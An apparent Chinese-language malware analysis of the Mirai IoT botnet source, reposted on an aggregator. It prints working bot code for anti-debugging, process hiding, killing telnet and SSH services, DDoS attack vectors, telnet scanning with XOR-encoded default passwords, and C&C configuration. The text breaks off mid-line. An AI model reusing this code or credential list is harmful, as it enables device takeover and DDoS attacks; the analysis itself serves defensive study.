Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

Mirai源码分析报告

0
0

阅读: 2

物联网僵尸网络病毒“Mirai”在上月参与发起了针对KrebOnSecurity安全站点的大规模分布式DDoS攻击,新一类僵尸网络从各种容易被感染的物联网设备中发起,流量巨大防不胜防。“Mirai”可以高效扫描物联网系统设备,感染采用出厂密码设置或弱密码加密的脆弱物联网设备,被病毒感染后,设备成为僵尸网络机器人后在黑客命令下发动高强度僵尸网络攻击。本文针对Mirai源码进行详细分析。

文章目录

1. 代码结构

如下图所示,主要包含两个文件夹,其中loader文件夹为加载器,完成服务端创建和状态监控的功能;mirai文件夹完成主要的恶意功能,包含网络连接、DDOS执行、下载(等工具的实现)以及主控端操作功能。

代码结构

2. 感染途径

攻击者通过SSH或Telnet账号,使用默认密码入侵物联网设备。

3. 功能实现

代码实现的恶意功能从源码来看,主要包含3方面,主要是bot文件夹,实现反调试、隐藏自身进程、设置初始的域名端口值、设置默认弱口令、网络连接及DDOS攻击功能;Tools文件夹,实现wget、更新文件、异或数据等工具性功能。CNC文件夹能够在主控端对成功感染的bot进行监控并作为接收指令端解析指令并发起ddos攻击。

同时bot文件夹下实现功能时,会打开PF_INET(原始套接字,TCP的UNIX网络套接字),并将它绑定到本地主机IP地址127.0.0.1的端口TCP/48101,之后开始监听连入连接。一旦网络中有一个设备受感染,则会通过Telnet服务连接,进一步扩大感染范围。

4. Bot文件夹

从代码函数功能上看,具有以下功能:

反GDB调试,解析CC地址,网络连接、实现DDOS攻击等功能。

static void anti_gdb_entry(int); static void resolve_cnc_addr(void); static void establish_connection(void); static void teardown_connection(void); static void ensure_single_instance(void); static BOOL unlock_tbl_if_nodebug(char *);

如果监测到gdb调试,则进行自删除,阻止watchdog重新启动设备,并显示连接CC地址失败。

// Delete self unlink(args[0]); // Signal based control flow sigemptyset(&sigs); sigaddset(&sigs, SIGINT); sigprocmask(SIG_BLOCK, &sigs, NULL); signal(SIGCHLD, SIG_IGN); signal(SIGTRAP, &anti_gdb_entry); // Prevent watchdog from rebooting device if ((wfd = open("/dev/watchdog", 2)) != -1 || (wfd = open("/dev/misc/watchdog", 2)) != -1) { int one = 1; ioctl(wfd, 0x80045704, &one); close(wfd); wfd = 0; } chdir("/");

确保每次只有一个实例运行(通过连接本地端口48101),并通过此端口号关闭相对应的进程。

addr.sin_family = AF_INET; addr.sin_addr.s_addr = local_bind ? (INET_ADDR(127,0,0,1)) : LOCAL_ADDR; addr.sin_port = htons(SINGLE_INSTANCE_PORT); // Try to bind to the control port errno = 0; if (bind(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1) { if (errno == EADDRNOTAVAIL && local_bind) local_bind = FALSE; #ifdef DEBUG printf("[main] Another instance is already running (errno = %d)! Sending kill request...\r\n", errno); #endif

隐藏进程

// Hide argv0 name_buf_len = ((rand_next() % 4) + 3) * 4; rand_alphastr(name_buf, name_buf_len); name_buf[name_buf_len] = 0; util_strcpy(args[0], name_buf); // Hide process name name_buf_len = ((rand_next() % 6) + 3) * 4; rand_alphastr(name_buf, name_buf_len); name_buf[name_buf_len] = 0; prctl(PR_SET_NAME, name_buf); // Print out system exec table_unlock_val(TABLE_EXEC_SUCCESS); tbl_exec_succ = table_retrieve_val(TABLE_EXEC_SUCCESS, &tbl_exec_succ_len); write(STDOUT, tbl_exec_succ, tbl_exec_succ_len); write(STDOUT, "\n", 1); table_lock_val(TABLE_EXEC_SUCCESS);

攻击初始化,设置攻击类型,包含UDP、VSE、DNS、SYN等多种DDOS攻击方式。

BOOL attack_init(void) { int i; add_attack(ATK_VEC_UDP, (ATTACK_FUNC)attack_udp_generic); add_attack(ATK_VEC_VSE, (ATTACK_FUNC)attack_udp_vse); add_attack(ATK_VEC_DNS, (ATTACK_FUNC)attack_udp_dns); add_attack(ATK_VEC_UDP_PLAIN, (ATTACK_FUNC)attack_udp_plain); add_attack(ATK_VEC_SYN, (ATTACK_FUNC)attack_tcp_syn); add_attack(ATK_VEC_ACK, (ATTACK_FUNC)attack_tcp_ack); add_attack(ATK_VEC_STOMP, (ATTACK_FUNC)attack_tcp_stomp); add_attack(ATK_VEC_GREIP, (ATTACK_FUNC)attack_gre_ip); add_attack(ATK_VEC_GREETH, (ATTACK_FUNC)attack_gre_eth); //add_attack(ATK_VEC_PROXY, (ATTACK_FUNC)attack_app_proxy); add_attack(ATK_VEC_HTTP, (ATTACK_FUNC)attack_app_http); return TRUE; }

端口初始化,通过端口号关闭使用telnet、SSH、HTTP服务的其他进程,并防止其重新启动。

// Kill telnet service and prevent it from restarting #ifdef KILLER_REBIND_TELNET #ifdef DEBUG printf("[killer] Trying to kill port 23\n"); #endif if (killer_kill_by_port(htons(23))) { #ifdef DEBUG printf("[killer] Killed tcp/23 (telnet)\n"); #endif } else { #ifdef DEBUG printf("[killer] Failed to kill port 23\n"); #endif } tmp_bind_addr.sin_port = htons(23); if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1) { bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in)); listen(tmp_bind_fd, 1); } #ifdef DEBUG printf("[killer] Bound to tcp/23 (telnet)\n"); #endif #endif // Kill SSH service and prevent it from restarting …… // Kill HTTP service and prevent it from restarting ……

扫描初始化,扫描局域网中具有弱口令以及开放23端口的其他设备

// Set up IPv4 header iph->ihl = 5; iph->version = 4; iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr)); iph->id = rand_next(); iph->ttl = 64; iph->protocol = IPPROTO_TCP; // Set up TCP header tcph->dest = htons(23); tcph->source = source_port; tcph->doff = 5; tcph->window = rand_next() & 0xffff; tcph->syn = TRUE; // Set up passwords add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10);// root xc3511 add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9);// root vizxv add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8);// root admin add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7); …… static ipv4_tget_random_ip(void) { uint32_ttmp; uint8_to1, o2, o3, o4; do { tmp = rand_next(); o1 = tmp & 0xff; o2 = (tmp >> 8) & 0xff; o3 = (tmp >> 16) & 0xff; o4 = (tmp >> 24) & 0xff; } while (o1 == 127 ||// 127.0.0.0/8- Loopback (o1 == 0) ||// 0.0.0.0/8- Invalid address space (o1 == 3) ||// 3.0.0.0/8- General Electric Company (o1 == 15 || o1 == 16) ||// 15.0.0.0/7 - Hewlett-Packard Company (o1 == 56) ||// 56.0.0.0/8 - US Postal Service (o1 == 10) ||// 10.0.0.0/8 - Internal network (o1 == 192 && o2 == 168) ||// 192.168.0.0/16 - Internal network (o1 == 172 && o2 >= 16 && o2 < 32) ||// 172.16.0.0/14- Internal network (o1 == 100 && o2 >= 64 && o2 < 127) ||// 100.64.0.0/10- IANA NAT reserved (o1 == 169 && o2 > 254) ||// 169.254.0.0/16 - IANA NAT reserved (o1 == 198 && o2 >= 18 && o2 < 20) ||// 198.18.0.0/15- IANA Special use (o1 >= 224) ||// 224.*.*.*+ - Multicast (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense ); return INET_ADDR(o1,o2,o3,o4); }

其中用户名密码的加密算法为:

for (i = 0; i < *len; i++) { cpy[i] ^= 0xDE; cpy[i] ^= 0xAD; cpy[i] ^= 0xBE; cpy[i] ^= 0xEF; }

当检测到新的实例运行时,则终止自身进程,同时终止扫描和所有的攻击任务。

连接域名及端口号

在源码中硬编码方式嵌入了连接的域名和端口号,其中的域名字符串都可以使用Tools文件夹下的enc.c所示的算法进行还原。

void table_init(void) { add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com add_entry(TABLE_CNC_PORT, "\x22\x35", 2);// 23 add_entry(TABL

Viewing all articles
Browse latest Browse all 12749